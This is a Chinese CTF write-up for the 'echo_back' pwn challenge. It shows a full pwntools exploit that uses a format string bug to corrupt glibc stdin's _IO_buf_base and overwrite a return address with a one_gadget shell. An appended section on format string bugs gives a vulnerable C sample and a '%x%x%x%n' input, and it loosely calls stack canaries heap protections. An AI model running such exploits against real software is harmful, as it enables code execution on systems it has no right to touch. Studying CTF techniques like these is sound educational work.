CTF-Pwn echo_back(文件IO指针利用+格式化字符串漏洞)

程序综述

supergate@ubuntu:~/Desktop/Pwn$ checksec echo_back
[*] '/home/supergate/Desktop/Pwn/echo_back'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开,但是题目中给了libc库(为2.23版本),因此可以考虑使用onegadget来getshell。

supergate@ubuntu:~/Desktop/Pwn$ ./echo_back
#  ____ _   _ ___  ____ ____ ___  ____ ____ ____ ____ 
#  |     \_/  |__] |___ |__/ |__] |___ |__| |    |___ 
#  |___   |   |__] |___ |  \ |    |___ |  | |___ |___ 
#                                                     
#  Welcome to CyberPeace echo-back service!
#                                                     
-----------menu-----------
1. set name
2. echo back
3. exit
choice>> 

运行程序后发现有菜单选项,因此分别查看set nameecho back的函数功能

set name

ssize_t __fastcall readName(void *a1)
{
  printf("name:");
  return read(0, a1, 7uLL);
}

echo back

unsigned __int64 __fastcall inputContent(_BYTE *a1)
{
  size_t nbytes; // [rsp+1Ch] [rbp-14h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset((char *)&nbytes + 4, 0, 8uLL);
  printf("length:", 0LL);
  _isoc99_scanf("%d", &nbytes);
  getchar();
  if ( (nbytes & 0x80000000) != 0LL || (signed int)nbytes > 6 )
    LODWORD(nbytes) = 7;
  read(0, (char *)&nbytes + 4, (unsigned int)nbytes);
  if ( *a1 )
    printf("%s say:", a1);
  else
    printf("anonymous say:", (char *)&nbytes + 4);
  printf((const char *)&nbytes + 4);
  return __readfsqword(0x28u) ^ v3;
}

容易发现echo back中有一个格式化字符串漏洞

漏洞利用

如上所述,我们找到了一个格式化字符串漏洞的地方。但是可惜的是,我们只能输入7个字节的格式化字符串,这导致我们无法对栈内的值进行大规模的修改。但是修改某个地址的后几个字节为\x00还是比较容易的。
另外,echo back函数中也使用了scanf函数,而scanf函数又和IO_2_1_stdin有着较大的关系。我们可以考虑用文件IO指针来对程序进行攻击。

阅读scanf源码,知道scanf函数调用了_IO_vfscanf,并且提供了文件指针stdin。

使用pwndbg调试的时候可以看一下这个结构体

pwndbg> p _IO_2_1_stdin_
$1 = {
  file = {
    _flags = -72540021, 
    _IO_read_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n", 
    _IO_read_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+132> "", 
    _IO_read_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n", 
    _IO_write_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n", 
    _IO_write_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n", 
    _IO_write_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n", 
    _IO_buf_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n", 
    _IO_buf_end = 0x7ffff7dd1964 <_IO_2_1_stdin_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x0, 
    _fileno = 0, 
    _flags2 = 0, 
    _old_offset = -1, 
    _cur_column = 0, 
    _vtable_offset = 0 '\000', 
    _shortbuf = "\n", 
    _lock = 0x7ffff7dd3790 <_IO_stdfile_0_lock>, 
    _offset = -1, 
    _codecvt = 0x0, 
    _wide_data = 0x7ffff7dd19c0 <_IO_wide_data_0>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0, 
    _mode = -1, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

再向底层进行分析之后,发现最终会调用到_IO_new_file_underflow进行输入,我们跟进查看逻辑:

int
_IO_new_file_underflow (_IO_FILE *fp)
{
  _IO_ssize_t count;
#if 0
  /* SysV does not make this test; take it out for compatibility */
  if (fp->_flags & _IO_EOF_SEEN)
    return (EOF);
#endif

  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;

  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }
  if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
#if 0
      _IO_flush_all_linebuffered ();
#else
      _IO_acquire_lock (_IO_stdout);

      if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (_IO_stdout, EOF);

      _IO_release_lock (_IO_stdout);
#endif
    }

  _IO_switch_to_get_mode (fp);
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;

  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
		       fp->_IO_buf_end - fp->_IO_buf_base);
  if (count <= 0)
    {
      if (count == 0)
	fp->_flags |= _IO_EOF_SEEN;
      else
	fp->_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp->_IO_read_end += count;
  if (count == 0)
    {
      fp->_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp->_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp->_offset, count);
  return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

当_IO_read_ptr < _IO_read_end时,函数直接返回_IO_read_ptr。反之,则会进行一系列赋值操作,最终调用read的系统调用向_IO_buf_base中读入数据。可以想到,当可以控制_IO_buf_base的值就可以达到任意地址写的目的了。

题目中可以利用是因为在调用scanf之前的时候,_IO_read_ptr ==_IO_read_end。并且将_IO_buf_base的低位赋值为\x00时,指针恰好指向了stdin内部地址,并且可以再次覆写_IO_buf_base进一步造成内存任意写

pwndbg> x/30gx 0x7ffff7dd1963-0x83
0x7ffff7dd18e0 <_IO_2_1_stdin_>:	0x00000000fbad208b	0x00007ffff7dd1963
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>:	0x00007ffff7dd1964	0x00007ffff7dd1963
0x7ffff7dd1900 <_IO_2_1_stdin_+32>:	0x00007ffff7dd1963	0x00007ffff7dd1963
0x7ffff7dd1910 <_IO_2_1_stdin_+48>:	0x00007ffff7dd1963	0x00007ffff7dd1963
0x7ffff7dd1920 <_IO_2_1_stdin_+64>:	0x00007ffff7dd1964	0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>:	0x0000000000000000	0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>:	0x000000000a000000	0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>:	0xffffffffffffffff	0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>:	0x00007ffff7dd19c0	0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>:	0x00000000ffffffff	0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>:	0x0000000000000000	0x00007ffff7dd06e0
0x7ffff7dd19c0 <_IO_wide_data_0>:	0x0000000000000000	0x0000000000000000

而在scanf后面跟了一个getchar()函数,每次调用这个函数是会导致_IO_read_ptr++。这样我们就可以通过scanf输入0个字节,来让_IO_read_ptr ==_IO_read_end,从而向_IO_buf_base指向的地址写入数据。

显然,我们可以将_IO_buf_base设置为函数的返回地址,然后把这个地址写为onegadget的地址即可。

exp

from pwn import *
context.log_level='debug'

p=process('./echo_back')
elf=ELF('./echo_back')
libc=ELF('./libc.so.6')
#gdb.attach(p)

def inputContent(length,content):
    p.sendlineafter(">> ","2")
    p.sendafter("length:",str(length))
    p.sendline(content)

def readName(content):
    p.sendlineafter(">> ","1")
    p.sendlineafter("name:",content)

inputContent("7\n","%2$p")
p.recvuntil("anonymous say:")
libc.address=int(p.recvuntil("----",drop=True),16)-0x3c6780
gadget_addr=libc.address+0x45216
IO_buf_base_addr=libc.symbols['_IO_2_1_stdin_']+0x38
print "IO_buf_base_addr ======> "+hex(IO_buf_base_addr)

inputContent("7\n","%7$p")
p.recvuntil("anonymous say:")
ret_stack_addr=int(p.recvuntil("----",drop=True),16)-0x18
print "ret_stack_addr ======> "+hex(ret_stack_addr)

padding_addr=IO_buf_base_addr-0x18+0x63
readName(p64(IO_buf_base_addr))
inputContent("7\n","%16$hhn")

payload=p64(padding_addr)*3+p64(ret_stack_addr)+p64(ret_stack_addr+8)
#保证在_IO_buf_base处只写入8个字节的内容
inputContent(payload,'')

for i in range(0x28-1):
    p.sendlineafter(">> ","2")
    p.sendlineafter("length:",'')

p.sendlineafter(">> ","2")
p.sendlineafter("length:",p64(gadget_addr))
p.sendline()
p.interactive()


### 非栈上格式化字符串漏洞概述 在CTF比赛的PWN类别中,格式化字符串漏洞是一种常见的安全漏洞,通常出现在使用不安全的格式化函数(如`printf`、`sprintf`等)时。如果程序允许用户直接控制格式化字符串参数,而未进行适当的验证和过滤,则可能导致攻击者利用漏洞读取或写入内存数据。 在栈上的格式化字符串漏洞利用较为常见,而非栈上格式化字符串漏洞则涉及对堆内存或其他非栈内存区域的利用。这类漏洞通常更具挑战性,但也提供了更多的攻击面。 ### 利用方法 非栈上格式化字符串漏洞利用主要依赖于对格式化字符串中特殊格式符的使用,尤其是`%n`。`%n`的作用是将当前已经输出的字符数写入指定的指针位置。通过精心构造格式化字符串,攻击者可以实现任意地址写入(Arbitrary Write)。 在非栈上场景中,通常需要找到一个可以控制的指针,指向堆内存或其他可写区域。例如,攻击者可以通过泄露堆地址,然后利用`%n`将数据写入堆中的特定位置。这种方法常用于覆盖函数指针或全局偏移表(GOT)中的条目,从而实现控制流劫持。 ```c // 示例代码,展示不安全的格式化字符串使用 #include <stdio.h> void vulnerable_function(char *user_input) { printf(user_input); // 不安全的格式化字符串使用 } int main(int argc, char **argv) { if (argc > 1) { vulnerable_function(argv[1]); } return 0; } ``` 在上述示例中,如果攻击者能够控制`user_input`的内容,则可以构造特定的格式化字符串来触发漏洞。例如,攻击者可以输入类似`%x%x%x%n`的字符串,试图读取栈上的数据并写入特定地址。 ### 防御方法 为了防止非栈上格式化字符串漏洞利用,可以采取以下几种防御措施: 1. **避免使用不安全的格式化函数**:尽量使用带有显式参数的格式化函数,如`fprintf`、`snprintf`等,并确保格式字符串是静态常量,而不是用户可控的输入。 2. **输入验证和过滤**:对用户输入进行严格的验证和过滤,确保输入中不包含任何格式化字符(如`%`)。可以通过白名单机制来限制输入内容。 3. **地址空间布局随机化(ASLR)**:启用ASLR可以增加攻击者预测内存地址的难度,从而降低漏洞利用的成功率。 4. **堆内存保护**:使用现代编译器提供的堆内存保护机制,如堆栈保护(Stack Canaries)、地址随机化等,以增加攻击者利用漏洞的难度。 5. **代码审计和静态分析**:定期进行代码审计和静态分析,查找并修复潜在的安全漏洞。使用静态分析工具可以帮助识别不安全的格式化字符串使用。 6. **运行时检测**:在程序运行时检测格式化字符串的使用情况,及时发现并阻止异常行为。 ### 示例:修复不安全的格式化字符串使用 ```c // 修复后的代码,使用安全的格式化字符串使用方式 #include <stdio.h> void safe_function(char *user_input) { printf("%s", user_input); // 使用安全的方式处理用户输入 } int main(int argc, char **argv) { if (argc > 1) { safe_function(argv[1]); } return 0; } ``` 在修复后的代码中,通过使用`%s`格式化符并显式传递用户输入,避免了用户输入直接作为格式化字符串的风险。 ### 总结 非栈上格式化字符串漏洞利用虽然较为复杂,但通过精心构造的格式化字符串和内存操作,攻击者仍然可以实现严重的攻击效果。因此,在开发过程中,必须采取有效的防御措施,确保程序的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值